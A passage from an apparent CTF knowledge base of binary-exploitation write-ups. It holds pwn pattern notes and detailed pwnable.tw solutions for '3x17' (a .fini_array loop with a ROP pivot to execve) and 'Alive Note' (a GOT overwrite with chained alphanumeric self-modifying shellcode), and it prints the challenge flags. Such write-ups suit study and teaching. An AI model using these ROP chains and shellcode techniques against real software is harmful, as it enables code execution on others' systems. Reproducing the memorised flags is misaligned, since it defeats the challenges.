LSB\npayload = b'\\x15' * 29 # 0x56555d22 -> 0x56555d15 (inside read() prologue)\np.sendline(payload)\n\n# Second read call now reads into &password with length 0x2b\np.send(p32(0) + p32(password_addr) + p32(0x2b))\n```\n\n**Key insight:** A one-byte ret overwrite reused as a \"call this function again\" primitive is often stronger than a full ROP, because you bypass ASLR entirely — you jump to an instruction already at a known relative offset.\n\n**References:** TUCTF 2018 — Lisa, writeup 12339\n\n---\n\n## Canary Trailing-Byte Leak via Padding One Byte Past Null (hxp 2018)\n\n**Pattern:** glibc stack canaries always start with `0x00` so that `strcpy`/`printf(\"%s\")` stops immediately. Send exactly `buf_size + 1` bytes; the `puts()` echo passes the canary's leading null and prints the remaining three bytes, giving you 3/4 of the canary.\n\n```python\np.send(b'A' * (buf_size + 1))\nleaked = p.recvline().rstrip(b'\\n')\ncanary = b'\\x00' + leaked[buf_size:] # reconstruct full 4-byte canary\n```\n\n**Key insight:** The canary byte that makes it \"safe\" against string operations is also the byte that enables the leak — replace it with a non-null byte, and the echo spills everything up to the next null.\n\n**References:** hxp CTF 2018 — poor_canary, writeup 12568\n\n---\n\n## Index-Only Bounds Check + Stride OOB Write (P.W.N. CTF 2018)\n\n**Pattern:** Vulnerable function reads an index `v2`, checks `v2 \u003c= 0xfc`, and writes `0xC` bytes at `array[12 * v2]`. The check covers the *index*, not the *computed byte offset*. Pick `v2` so `12 * v2` lands well past the buffer (saved RIP, canary, GOT).\n\n```c\nif (v2 \u003c= 0xFC) read(0, &array[12*v2], 0xC); // bug: stride unchecked\n```\n\nSet `v2 = 0xFB` to write 12 bytes at offset `12 * 0xFB = 0xBC4` past the array base.\n\n**Key insight:** Every \"bounded index\" check must multiply by the element stride before comparing. Look for any `array[N*idx]` or struct-indexed writes where the check is only on `idx`; the effective bound is `max_offset / stride`.\n\n**References:** P.W.N. CTF 2018 — Exploitation Class / Kindergarten PWN, writeup 12041\n\n---\n\n## Signed Index Negative OOB to Preceding GOT (P.W.N. CTF 2018)\n\n**Pattern:** `if (v5 \u003c= 31) array[v5] = value;` compiles to a *signed* comparison. Passing `-1`, `-2`, ... passes the check and writes backward into preceding memory — typically the GOT or adjacent global structures.\n\n```c\nint v5 = atoi(input); // signed\nif (v5 \u003c= 31) table[v5] = new_value; // writes to table[-N]\n```\n\nUse negative indices to first leak libc (`read` GOT) and then overwrite a free GOT entry with `system`.\n\n**Key insight:** Signed vs unsigned mismatches are everywhere. Always check the declared type; a `\u003c= N` guard with a signed index is actually `[INT_MIN..N]`. Compile with `-Wsign-conversion` to catch this statically.\n\n**References:** P.W.N. CTF 2018 — Kindergarten PWN, writeup 12041\n\n---\n\n## PIE Same-Page Function Pivot via Single-Byte Overwrite (P.W.N. CTF 2018)\n\n**Pattern:** Binary is PIE but two functions live in the same 4 KiB page: `fread_callback` at `base + 0x11BC` and `shell()` at `base + 0x11A9`. Page-relative offsets are fixed by the linker, so overwriting only the *low byte* of the stored function pointer on the stack rewrites `0xBC` → `0xA9` without needing any leak.\n\n```python\np.send(b'A' * overflow_to_fp + b'\\xa9')\n```\n\n**Key insight:** PIE randomises only page-aligned bits. Any two code addresses that share a page differ exclusively in the low 12 bits, so a single-byte overwrite is an ASLR-free partial overwrite whenever you can land the victim function in the same page during compilation.\n\n**References:** P.W.N. CTF 2018 — Important Service, writeup 12041\n\n---\n\n## scanf Format-Error Skip for Canary Preservation (nullcon HackIM 2019)\n\n**Pattern (babypwn):** `coin_count` is compared as signed (`(char)count > 20` rejects only positive overflow) but iterated as unsigned (`for (uint8_t i = 0; i \u003c count; ++i)`). Sending `128` passes the check yet loops 128 times, walking past a 20-slot int array, the stack canary, saved RBP, and saved RIP. The standard \"leak the canary with the same bug\" trick fails because the vulnerable `printf` fires only **after** the overflow loop. Instead, feed scanf an invalid-but-format-conforming token on the two canary iterations so scanf returns error **without consuming input and without writing** — the canary stays intact while subsequent iterations continue writing past it.\n\n```python\nfrom pwn import *\n\ntarget.sendline('y')\ntarget.sendline('2019') # name\ntarget.sendline('128') # unsigned char > 20 passes signed check\n\n# Leak libc via GOT addresses in the first 8 coin slots (%8$s in the format string)\ntarget.sendline(str(0x600FA8)) # free@GOT lower 32 bits\ntarget.sendline(str(0)) # free@GOT upper 32 bits\n# ... repeat for puts / setbuf / printf ...\n\nfor i in range(14): # pad to reach canary slot (22 writes in)\n target.sendline('1')\n target.sendline('2')\n\ntarget.sendline('-') # \"-\" matches \"%d\" prefix but can't be a number\ntarget.sendline('-') # scanf returns error, leaves canary untouched\ntarget.sendline('0') # saved libc_csu_init slot - scratch\ntarget.sendline('0')\ntarget.sendline(str(0x400806)) # return address -> main() for stage 2\ntarget.sendline(str(0))\n```\n\n**Key insight:** `scanf(\"%d\", ...)` treats a lone `-` as a format mismatch — it returns early without writing to the destination and, crucially, without consuming the `-` byte; the next scanf call will then fail identically. Using this skip primitive you can surgically choose which iterations of a \"fixed-count\" write loop actually land on the stack, letting you hop over canary/RBP slots to reach the return address. Combine with a signed/unsigned char comparison bug to get a loop count larger than the declared max.\n\n**References:** nullcon HackIM 2019 — babypwn, writeup 13211\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":26821,"content_sha256":"43ca77cb31ba787b428d821e923d48d151bc160e3aeddbc76c090978265920f7"},{"filename":"pwnable-tw/3x17.md","content":"---\ntags:\n - arbitrary-write\n - fini-array-overwrite\n - rop\n - static-binary\nplatform: pwnable.tw\npoints: 150\narch: x86-64\nlibc: static\nrelro: partial\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"An arbitrary 24-byte write allows overwriting .fini_array entries to loop __libc_csu_fini, pivoting RSP to user input and executing a ROP chain to invoke execve.\"\nproof-of-concept: no\n---\n\n# 3x17 — pwnable.tw (150 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10105`\n>\n> Flag: `FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}`\n\n## Challenge Overview\n\nA statically linked, stripped x86-64 ELF binary (no PIE, no canary, NX enabled). The binary provides a single arbitrary write primitive: it prompts for an address and 24 bytes of data, writes the data to the address, then exits. The challenge is to turn this one-shot write into a shell.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n```\n\n**Binary type:** Statically linked (no libc.so — all libc functions inlined). No dynamic loader, no GOT/PLT in the usual sense.\n\n## Reverse Engineering\n\n### `main` (0x401B6D)\n\nThe `main` function is simple:\n\n```c\n// Pseudocode of main @ 0x401B6D\nvoid main() {\n char buf[24];\n unsigned long addr;\n\n write(1, \"addr:\", 5);\n read(0, buf, 24);\n addr = strtoul(buf, NULL, 10); // parse address as decimal\n\n write(1, \"data:\", 5);\n read(0, buf, 24); // read exactly 24 bytes of data\n\n // Guard: only write once (byte at 0x4B9330 is checked)\n if (byte_4B9330 != 0) {\n return; // exit without writing\n }\n byte_4B9330 = 1;\n memcpy((void *)addr, buf, 24); // arbitrary 24-byte write\n}\n```\n\n**Key details:**\n- Address is parsed as a **decimal** (or with `+` prefix) string via `strtoul`\n- Data is exactly **24 bytes** (3 qwords)\n- A **one-shot guard** at `0x4B9330` prevents re-entry — once set to 1, subsequent calls skip the write\n- The binary then returns through the normal exit path: `main` → `__libc_start_main` → `exit()` → `.fini_array` destructors\n\n### `__libc_csu_fini` (0x402960)\n\nThe destructor-calling routine invoked during `exit()`:\n\n```asm\n; __libc_csu_fini @ 0x402960\n; Calls .fini_array entries in REVERSE order: [1], then [0]\nmov rbp, qword [0x4B40F8] ; .fini_array end pointer\n...\n0x402988: call qword [rbp+rbx*8] ; call .fini_array[i]\n; decrements rbx, loops until rbx == -1\n```\n\n**Critical behavior:** When `__libc_csu_fini` runs:\n- `rbp` is set to `.fini_array` base (`0x4B40F0`)\n- It calls `.fini_array[1]` first, then `.fini_array[0]`\n- After calling `.fini_array[0]`, `rbp` still points to `0x4B40F0`\n\n## Vulnerabilities\n\n### V1 — Unrestricted Arbitrary Write (Primary)\n\n**Root Cause:** `main` writes 24 bytes to any user-supplied address with no bounds checking. The `.fini_array` section at `0x4B40F0` is writable (Partial RELRO), and the binary is not PIE, so all addresses are known.\n\n```c\nmemcpy((void *)addr, buf, 24); // write 24 bytes anywhere\n```\n\n### V2 — `.fini_array` Loop: One Write → Infinite Writes\n\n**Root Cause:** The `.fini_array` is called during `exit()`. By overwriting it with `{__libc_csu_fini, main}`, a self-reinforcing loop is created:\n\n1. `exit()` → `__libc_csu_fini` → calls `.fini_array[1]` = `main` → user gets another write\n2. `main` returns → `__libc_csu_fini` continues → calls `.fini_array[0]` = `__libc_csu_fini` → loop repeats\n\n**The guard byte at `0x4B9330`** wraps around after 256 iterations (it's a `uint8_t` that increments each call), so writes remain possible for 256 rounds.\n\n```python\n# Turn one write into infinite writes:\nwrite(0x4B40F0, p64(0x402960) + p64(0x401B6D))\n# __libc_csu_fini main\n```\n\n### V3 — Stack Pivot via `leave; ret`\n\n**Root Cause:** At the end of `main` (address `0x401C4B`), there is a `leave; ret` instruction. Since `rbp` points to `.fini_array` (`0x4B40F0`) during the destructor calls, executing `leave; ret` as `.fini_array[0]` sets `rsp = 0x4B40F0 + 8 = 0x4B40F8`, pivoting the stack into writable memory where the attacker has placed a ROP chain.\n\n```asm\n; 0x401C4B:\nleave ; rsp = rbp; pop rbp → rsp = 0x4B40F8\nret ; pop rip from 0x4B40F8 → jumps to value at .fini_array[1]\n```\n\n## Key Addresses\n\n| Address | Symbol | Purpose |\n|---------|--------|---------|\n| `0x4B40F0` | `.fini_array[0]` | First destructor (called second) |\n| `0x4B40F8` | `.fini_array[1]` | Second destructor (called first) |\n| `0x402960` | `__libc_csu_fini` | Destructor caller — creates the loop |\n| `0x401B6D` | `main` | Arbitrary 24-byte write |\n| `0x401C4B` | `leave; ret` | Stack pivot gadget (end of main) |\n| `0x4B9330` | guard byte | One-shot write guard (wraps at 256) |\n\n## ROP Gadgets (Statically Linked — Abundant)\n\n```python\nPOP_RDI = 0x401696 # pop rdi; ret\nPOP_RSI = 0x406C30 # pop rsi; ret\nPOP_RDX = 0x446E35 # pop rdx; ret\nPOP_RAX = 0x41E4AF # pop rax; ret\nSYSCALL = 0x4022B4 # syscall; ret (or 0x471DB5, 0x446ECF — multiple exist)\nLEAVE_RET = 0x401C4B # leave; ret\nRET = 0x401016 # ret (alignment)\n```\n\nSome solvers also use:\n```python\nPOP_RDX_RSI = 0x44A309 # pop rdx; pop rsi; ret (combined gadget)\nMOV_QWORD_RSI_RAX = 0x47C1B1 # mov [rsi], rax; ret (for writing /bin/sh)\nADD_RAX_1 = 0x471810 # add rax, 1; ret (for building rax=59 incrementally)\nXOR_RAX = 0x442110 # xor rax, rax; ret\n```\n\n## Exploit Paths\n\nAll solutions follow the same fundamental three-phase approach, differing only in ROP chain construction details.\n\n---\n\n### Path A — `.fini_array` Loop + Direct ROP at `.fini_array+0x10` + `leave; ret` Pivot (Most Common)\n\n**Used by:** ~90% of solutions (138, 1316, 1763, 11445, 11699, 12245, 13060, 13484, 15522, 15883, 15989, 16439, 16609, 16991, 17048, 18324, exp.py, etc.)\n\n**Steps:**\n\n1. **Create the write loop:** First write overwrites `.fini_array` with `{__libc_csu_fini, main}`. This gives unlimited 24-byte writes.\n\n```python\nwrite(0x4B40F0, p64(0x402960) + p64(0x401B6D))\n```\n\n2. **Write ROP chain** to memory starting at `.fini_array + 0x10` (or `.bss`, or any writable area). The chain performs `execve(\"/bin/sh\", NULL, NULL)`:\n\n```python\n# Typical chain written in 24-byte chunks:\nwrite(0x4B4100, p64(POP_RAX) + p64(59) + p64(POP_RDI))\nwrite(0x4B4118, p64(BINSH) + p64(POP_RSI) + p64(0))\nwrite(0x4B4130, p64(POP_RDX) + p64(0) + p64(SYSCALL))\n```\n\n3. **Write `/bin/sh\\0`** to a known writable address (BSS or after the chain).\n\n4. **Trigger the pivot:** Final write overwrites `.fini_array[0]` with `leave; ret`. When `main` returns and `__libc_csu_fini` calls this as a destructor:\n - `leave` sets `rsp = rbp + 8 = 0x4B40F8`\n - `ret` pops the next value as RIP → begins executing the ROP chain\n\n```python\nwrite(0x4B40F0, p64(0x401C4B)) # leave; ret\n```\n\n**Variant — Chain placement:** Some place the ROP at `.fini_array + 0x10` (contiguous with the array), others at `.bss` (`0x4B9300+`) or `.data.rel.ro` (`0x4B4100`). The pivot address just needs to be `0x4B40F8` for the `leave; ret` to work, so `.fini_array[1]` must be the first gadget of the chain.\n\n```python\n# Final write (common pattern):\nwrite(0x4B40F0, p64(LEAVE_RET) + p64(POP_RDI) + p64(BINSH))\n# leave;ret pivots rsp to 0x4B40F8, pops POP_RDI as rip\n```\n\n---\n\n### Path B — ROPgadget Auto-Chain with `mov [rsi], rax` + `add rax, 1` (Variant)\n\n**Used by:** Solutions 11968, 14605, 15989\n\nInstead of using `pop rax; ret` with immediate 59, these use ROPgadget's auto-generated chain:\n- Write `/bin//sh` to `.data` using `pop rsi; pop rax; mov [rsi], rax; ret`\n- Build `rax = 59` by 59× `add rax, 1; ret` after `xor rax, rax; ret`\n- Much longer chain but avoids needing a direct `pop rax` with value 59\n\nThis results in a much longer ROP chain (~60+ gadgets) but works identically.\n\n---\n\n### Path C — Alternative Loop via Overwriting Call Target (Rare)\n\n**Used by:** Solution 1324\n\nInstead of the standard `.fini_array` loop, overwrites `.init_array` and uses the init/fini interaction:\n\n```python\nwrite(INIT_ARRAY, p64(stack_pivot_gadget) + p64(another_gadget))\nwrite(FINI_ARRAY, p64(INIT_CALL) + p64(0x1337)) # trigger init_array\n```\n\nSame end result but via a different code path.\n\n---\n\n### Path D — Canary Leak + Stack Overflow + `pop rsp` Pivot (Rare)\n\n**Used by:** Solution 14479\n\nAn unusual approach that:\n1. Uses the write loop to overwrite function pointers to create a read primitive\n2. Leaks the stack canary from memory\n3. Writes a ROP chain to BSS\n4. Overwrites the return address with `pop rsp; ret` → ROP chain address\n5. Sends a large payload with the canary to overflow the stack and pivot\n\nThis is significantly more complex than the `.fini_array` approach.\n\n---\n\n### Path E — `__exit_funcs` / Custom Call Chain (Rare)\n\n**Used by:** Solution 1351\n\nUses deeper glibc internal structures (`__exit_funcs` at `0x4B9FC0`) to hijack the exit handler chain instead of the simpler `.fini_array` approach. Writes fake function descriptors that redirect through `leave; ret` to the ROP chain.\n\n## Exploit Flow Diagram\n\n```asm\nOne-shot write\n │\n ▼\nOverwrite .fini_array = {__libc_csu_fini, main}\n │\n ▼\nmain returns → exit() → __libc_csu_fini\n │ │\n │ calls .fini_array[1] = main ◄──── User gets another write\n │ │\n │ calls .fini_array[0] = __libc_csu_fini ◄──── Loop continues\n │\n ▼ (after writing ROP chain + /bin/sh)\nOverwrite .fini_array[0] = leave;ret\n │\n ▼\nleave;ret pivots rsp to .fini_array+8\n │\n ▼\nROP chain: execve(\"/bin/sh\", 0, 0) → shell\n```\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Arbitrary 24-byte write | `main` — no bounds check on address | Deterministic (100%) |\n| Infinite writes | `.fini_array` loop trick | Deterministic |\n| Stack pivot | `leave; ret` with `rbp` = `.fini_array` | Deterministic |\n| Code execution | ROP → `execve` syscall | Deterministic |\n\n## Solution Write-ups\n\n| File | Path | Key Variation | Notes |\n|------|------|---------------|-------|\n| `138.md` | A | Ruby; chain at `.fini_array+0x10` | Clean minimal approach |\n| `1177.md` | A | Uses `mprotect` then sends shellcode | Unique: RWX + shellcode |\n| `1297.md` | A | Chain at `0x4B93E0`; `pop rsp` in final | Standard with separate chain area |\n| `1316.md` | A | Chain at `.fini_array+0x10` | Uses `pop rdx; pop rsi; ret` combined |\n| `1324.md` | C | Via `.init_array` manipulation | Non-standard loop mechanism |\n| `1351.md` | E | Via `__exit_funcs` internal struct | Deep glibc internals |\n| `1763.md` | A | Chain at `0x4B4100` | Minimal clean solution |\n| `11968.md` | B | ROPgadget auto-chain; 59× `add rax,1` | Very long chain, works correctly |\n| `14334.md` | A | Chain at `0x4B4108`; well-documented | Good comments explaining each step |\n| `14479.md` | D | Canary leak + stack overflow | Complex: leaks canary, uses large payload |\n| `17704.md` | A | Includes decompiled `fini()` pseudocode | Explains the v0 loop variable |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (pure Python, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/3x17` | Original challenge binary (static, stripped, x86-64) |\n| `solution/*.md` | Community write-ups (122 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":11534,"content_sha256":"458109bdc355bbd84c77a3623bb064f4aa715b335678eb4ce683c56a192105b1"},{"filename":"pwnable-tw/alive_note.md","content":"---\ntags:\n - heap-buffer-overflow\n - alpha-shellcode\n - got-overwrite\nplatform: pwnable.tw\npoints: 350\narch: i386\nlibc: glibc-2.23\nrelro: partial\ncanary: yes\nnx: no\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"An out-of-bounds index write allows overwriting the free GOT entry to jump to a sequence of chained 3-byte alphanumeric shellcode fragments stored across heap note chunks.\"\nproof-of-concept: no\n---\n\n# Alive Note — pwnable.tw (350 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> The last 23 days, write down your shellcode.\n>\n> `nc chall.pwnable.tw 10300`\n>\n> Flag: `FLAG{Sh3llcoding_in_th3_n0t3_ch4in}`\n\n## Challenge Overview\n\nA 32-bit i386 note-taking binary (No PIE, Partial RELRO, Stack Canary, **NX disabled / RWX heap**). The player can add, show, and delete \"names\" stored in a notes array. Each name is `strdup()`'d to the heap (max 8 bytes), and its content is validated to be **alphanumeric + space only**. An upgrade from the \"Death Note\" challenge — same GOT overwrite via negative index, but with a much stricter character set.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX unknown # GNU_STACK missing\n PIE: No PIE (0x8048000)\n RWX: Has RWX segments # READ_IMPLIES_EXEC → heap is executable\n```\n\nThe `GNU_STACK` program header is set to RWE. On i386 Linux, this enables the `READ_IMPLIES_EXEC` personality flag, making **all readable pages (including heap) executable**. This is the fundamental enabler for running shellcode from heap-allocated notes.\n\n## Vulnerabilities\n\n### V1 — Negative Index OOB Write/Read (Primary, Exploitable)\n\n**Root Cause:** The index bounds check only validates the **upper bound** (`idx > 10`), allowing negative indices to access memory before the `notes[]` array.\n\n```c\n// Simplified add_note / del_note\nread_int(); // reads index via atoi()\nif (idx > 10) { puts(\"Out of bound !!\"); exit(0); }\nnotes[idx] = strdup(name_buf); // negative idx → write before notes[]\n// or\nfree(notes[idx]); // negative idx → free arbitrary GOT entry's value\n```\n\n**Key offsets:**\n\n```text\nnotes[] @ 0x0804a080 (11 slots, index 0..10)\nfree@GOT @ 0x0804a014\natoi@GOT @ 0x0804a034\n```\n\n```text\nindex_free = (0x0804a014 - 0x0804a080) / 4 = -27\nindex_atoi = (0x0804a034 - 0x0804a080) / 4 = -19\n```\n\n**Impact:**\n- `add_note(-27, shellcode)` → `strdup()` allocates a heap chunk containing the shellcode, and the chunk's address is written into `free@GOT`.\n- `delete_note(-27)` → calls `free(notes[-27])`, which resolves through `free@GOT` (now pointing to the heap chunk) → **jumps into the shellcode on the heap**.\n- At entry, `eax` holds the pointer to the freed chunk (i.e., the shellcode base address), which is critical for self-modifying code.\n\n### V2 — Alphanumeric-Only Content Filter\n\n**Root Cause:** `add_note` validates each byte of the name using `__ctype_b_loc()` with the `_ISalnum` (0x08) flag. Only bytes in `[0-9A-Za-z ]` (ASCII `0x20`, `0x30-0x39`, `0x41-0x5a`, `0x61-0x7a`) pass.\n\n```c\n// check() — per-byte validation\nif (c == ' ') ok;\nelse if (__ctype_b_loc()[c] & 0x08) ok; // _ISalnum\nelse return 0; // \"It must be a alnum name !!\" → exit(-1)\n```\n\n**Impact:** Standard shellcode bytes like `\\xcd\\x80` (`int 0x80`), `\\x2f` (`/` in `/bin/sh`), `\\x0b` (`SYS_execve`) are forbidden. The shellcode must be constructed entirely from alphanumeric bytes, requiring self-modifying techniques.\n\n### V3 — 8-Byte Note Size Limit\n\nEach `strdup()` copies at most 8 bytes (7 useful + NUL terminator). With the heap allocator's minimum chunk size of `0x10`, consecutive notes are spaced `0x10` bytes apart on the heap. The shellcode must be split into 6-byte fragments chained together with 2-byte jumps.\n\n## Key Data Structures\n\n### Heap Chunk Layout\n\nEach note allocation via `strdup()` creates a `0x10`-byte chunk:\n\n```text\n+0x00: prev_size (4 bytes)\n+0x04: size = 0x11 (4 bytes, includes PREV_INUSE bit)\n+0x08: user data (up to 8 bytes of alphanumeric shellcode)\n```\n\nConsecutive chunks are at `base + N*0x10`. The 8-byte chunk header between notes is **not executable code**, so jumps must skip over them.\n\n### Jump Chaining\n\nEach 8-byte note holds ~6 bytes of useful shellcode + a 2-byte conditional jump to reach the next note:\n\n```text\n[6 bytes shellcode] [jne/jno/jae +0x38]\n```\n\nCommon jump opcodes used (all alphanumeric):\n- `\\x75\\x38` — `jne +0x38` (opcode `u8`, jumps `0x3a` bytes forward = skip 3 chunk headers + 2 bytes to next note's code)\n- `\\x71\\x38` — `jno +0x38`\n- `\\x73\\x38` — `jae +0x38`\n- `\\x74\\x39` — `je +0x39`\n\nThe jump condition (ZF=0 after `free` setup or prior XOR ops) ensures the conditional branch is always taken.\n\n## Exploit Paths\n\nAll solutions exploit V1 (negative index GOT overwrite) combined with alphanumeric shellcode on the executable heap. They diverge on the shellcode construction strategy.\n\n---\n\n### Path A — Self-Modifying Alphanumeric Shellcode Chain → `read()` Stager → `execve()` (Dominant)\n\n**Used by:** ~90% of solutions (59, 278, 370, 550, 583, 644, 821, 1172, 1780, 2524, 3498, 5002, 7905, 8153, 14106, 17704, 25916, 36997, and exp.py)\n\n**Strategy:** Write a chain of alphanumeric shellcode fragments across heap chunks, connected by conditional jumps. The chain self-modifies to patch `int 0x80` (`\\xcd\\x80`) into a downstream chunk, then executes `read(0, buf, N)` to pull in unrestricted stage-2 shellcode (`execve(\"/bin/sh\", 0, 0)`).\n\n**Steps:**\n\n1. **Overwrite `free@GOT`:** `add_note(-27, stage1_chunk0)` — the `strdup`'d chunk address overwrites `free@GOT`.\n\n2. **Place shellcode fragments:** `add_note(0..N, fragment)` — each fragment is 6 bytes of alphanumeric machine code + 2-byte jump. Spacer notes (3-4 dummy allocations) fill the gap between meaningful chunks.\n\n3. **Trigger execution:** `delete_note(-27)` — calls `free(notes[-27])`, which jumps to chunk0 on the heap.\n\n4. **Shellcode chain executes:**\n - Set `ecx` = chunk base (via `push eax; pop ecx` — `eax` = freed pointer)\n - Set `edx` = read count (e.g., `push 0x7a; pop edx`)\n - Patch `int 0x80`: use `xor byte ptr [ecx+offset], al` with computed values to transform alphanumeric bytes (e.g., `0x74 0x39`) into `\\xcd\\x80`\n - Set `eax` = 3 (`SYS_read`): via `push imm8; pop eax; xor al, imm8`\n - Execute patched `int 0x80` → `read(0, heap_base, 0x7a)`\n\n5. **Send stage-2:** NOP sled (`\\x90` or `\\x41`=`inc ecx`) + raw `execve(\"/bin/sh\", 0, 0)` shellcode. Read writes over the heap starting at the chain base; execution falls through the sled into the real shellcode.\n\n**Example chain (from exp.py):**\n\n```python\nSTAGE1 = [\n (-27, b\"PYjzZSu8\"), # push eax; pop ecx; push 0x7a; pop edx; push ebx; jne\n (0, b\"4F0A5Su8\"), # xor al,0x46; xor [ecx+0x35],al; push ebx; jne\n (1, b\"fuck\"), # spacer (never executed)\n (2, b\"X4340t9\"), # pop eax; xor al,0x33; xor al,0x30; je (patched to int 0x80)\n (3, b\"XH0AFu6\"), # pop eax; dec eax; xor [ecx+0x46],al; jne\n (4, b\"0A60AWua\"), # xor [ecx+0x36],al; xor [ecx+0x57],al; jne\n]\n```\n\n**Patching `int 0x80`:** The bytes `0x74 0x39` (at chunk2 offset +5,+6) are XORed in-place:\n- `0x74 ^ 0xb9 = 0xCD` and `0x39 ^ 0xb9 = 0x80` → produces `\\xcd\\x80`\n- The value `0xb9` is obtained via `xor al, 0x46` on `0xff` (from `dec eax` on 0)\n\n**Stage 2:** `b\"A\" * 0x37 + execve_shellcode` — the `A` bytes (`0x41` = `inc ecx`) serve as a NOP sled, landing execution precisely at the `execve` payload.\n\n---\n\n### Path B — `popad` Frame Construction → `int 0x80` via Memory XOR\n\n**Used by:** Solutions 278, 5002, 3498\n\n**Variant** of Path A that uses `popad` (`0x61`, alphanumeric!) to bulk-load registers from a carefully constructed stack frame:\n\n1. Push register values onto the stack in the correct order for `popad` (EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX).\n2. Use `xor [reg+offset], ax/eax` to patch `int 0x80` into memory.\n3. Execute `popad` to set all registers at once, then fall through to patched `int 0x80`.\n\nThis approach is more complex but avoids individual register setup.\n\n---\n\n### Path C — Leak libc via `show_note` + System Call via GOT Overwrite\n\n**Used by:** Solutions 100, 956\n\n**Strategy:** Instead of building a `read()` stager, leak libc addresses and call `system()` directly.\n\n1. **Leak libc:** `show_note(-N)` reads memory before `notes[]`, hitting GOT entries or other libc pointers. Parse the leaked bytes to compute libc base.\n\n2. **Overwrite `free@GOT`** with heap shellcode that swaps registers and jumps to `system()`.\n\n3. **Trigger with crafted input:** `delete_note` passes `system()` address + `\"sh\"` string through `atoi`/`read_int` tricks, or the alphanumeric shellcode on heap sets up `call [eax]` with `eax = system`.\n\n**Downside:** More fragile — relies on specific libc offsets and register state at call time.\n\n---\n\n### Path D — `strlen@GOT` Overwrite to Bypass Alphanumeric Check\n\n**Used by:** Solution 3148\n\n**Strategy:** Instead of writing alphanumeric shellcode, neutralize the character filter by overwriting `strlen@GOT`.\n\n1. **Exhaust heap** with many dummy `strdup` allocations until the wilderness chunk's size field contains useful byte sequences (e.g., `\\xc3\\x41` = `ret; inc ecx`).\n\n2. **Overwrite `strlen@GOT`** (index -22) to point to a heap address containing `ret` — making `strlen()` always return quickly without actually validating the string.\n\n3. **With the filter bypassed**, write arbitrary (non-alphanumeric) shellcode bytes to heap notes.\n\n4. **Overwrite `free@GOT`** or `atoi@GOT` with shellcode address, trigger execution.\n\n**Downside:** Requires precise heap grooming (thousands of allocations to get the right top-chunk size).\n\n---\n\n### Path E — Direct `execve` via `popad` + `xor` patching (No Read Stager)\n\n**Used by:** Solutions 5002, 25916\n\n**Strategy:** Build the entire `execve(\"/bin/sh\", 0, 0)` syscall using only alphanumeric shellcode, without a `read()` stager. Uses `xor` to patch `/bin/sh` string and `int 0x80` into memory, then `popad` to load all registers:\n\n1. Construct `/bin/sh\\x00` string byte-by-byte via `push` + `xor`.\n2. Construct `\\xcd\\x80` via XOR patching.\n3. Set `eax=0xb`, `ebx=ptr_to_binsh`, `ecx=0`, `edx=0`.\n4. Execute patched `int 0x80`.\n\n**Downside:** Requires many more shellcode chunks (15-50+), much more complex chain.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| GOT overwrite (`free`, `atoi`, `strlen`) | V1: Negative index OOB | Deterministic |\n| Heap code execution | RWX heap (READ_IMPLIES_EXEC) | Deterministic (i386 only) |\n| Self-modifying shellcode | XOR patching `int 0x80` | Deterministic |\n| `read()` stager (stage 1) | Alphanumeric chain → `read(0, buf, N)` | Deterministic |\n| `execve(\"/bin/sh\")` (stage 2) | Unrestricted shellcode via `read()` | Deterministic |\n| libc leak | `show_note` with negative index | Deterministic |\n\n## Alphanumeric Instruction Reference\n\nKey x86 instructions that have alphanumeric encodings:\n\n| Instruction | Bytes | ASCII |\n|------------|-------|-------|\n| `push eax` | `50` | `P` |\n| `push ecx` | `51` | `Q` |\n| `push edx` | `52` | `R` |\n| `push ebx` | `53` | `S` |\n| `push esp` | `54` | `T` |\n| `push ebp` | `55` | `U` |\n| `pop eax` | `58` | `X` |\n| `pop ecx` | `59` | `Y` |\n| `pop edx` | `5a` | `Z` |\n| `push imm8` | `6a xx` | `j` + alnum |\n| `inc ecx` | `41` | `A` |\n| `inc edx` | `42` | `B` |\n| `inc ebx` | `43` | `C` |\n| `dec eax` | `48` | `H` |\n| `dec ebx` | `4b` | `K` |\n| `xor al, imm8` | `34 xx` | `4` + alnum |\n| `xor [ecx+off], al` | `30 41 xx` | `0A` + alnum |\n| `xor ax, imm16` | `66 35 xx xx` | `f5` + alnum |\n| `jne rel8` | `75 xx` | `u` + alnum |\n| `jno rel8` | `71 xx` | `q` + alnum |\n| `jae rel8` | `73 xx` | `s` + alnum |\n| `popad` | `61` | `a` |\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `59.md` | A | `jno` chain, XOR self-modify, NASM annotated | Includes full assembly source |\n| `100.md` | C | libc leak via show, system() via register swap | No read stager — direct system call |\n| `185.md` | A | `popad` + `xor word [edx+eax*2+0x38],cx` | Uses computed addressing mode |\n| `278.md` | B | `popad` frame + XOR patch int 0x80 | Ruby exploit |\n| `370.md` | A | Minimal — \"same as Death Note, just jumping\" | 2 lines of explanation |\n| `550.md` | A | `popad` based, elaborate register chain | Uses negative indices for spacers |\n| `583.md` | A | XOR `[ecx+off]` to patch `int 0x80` | Clean Python exploit |\n| `644.md` | A | 7 stage chain, `jae` jumps | Well-documented stages |\n| `821.md` | A | `xor [ecx+0x31]` patching, `jne` | Assembly + exploit script |\n| `956.md` | C | `atoi@GOT` overwrite, libc leak, execve | Heap exhaustion approach |\n| `1172.md` | A | `PYjAXGq8` chain, 5 notes | Minimal chain |\n| `1780.md` | A | `jno 0x40` jumps, `xor byte` patches | Clean separation of stages |\n| `2524.md` | A | `jae` jumps, 9 stages | Incremental `inc edx` for syscall nr |\n| 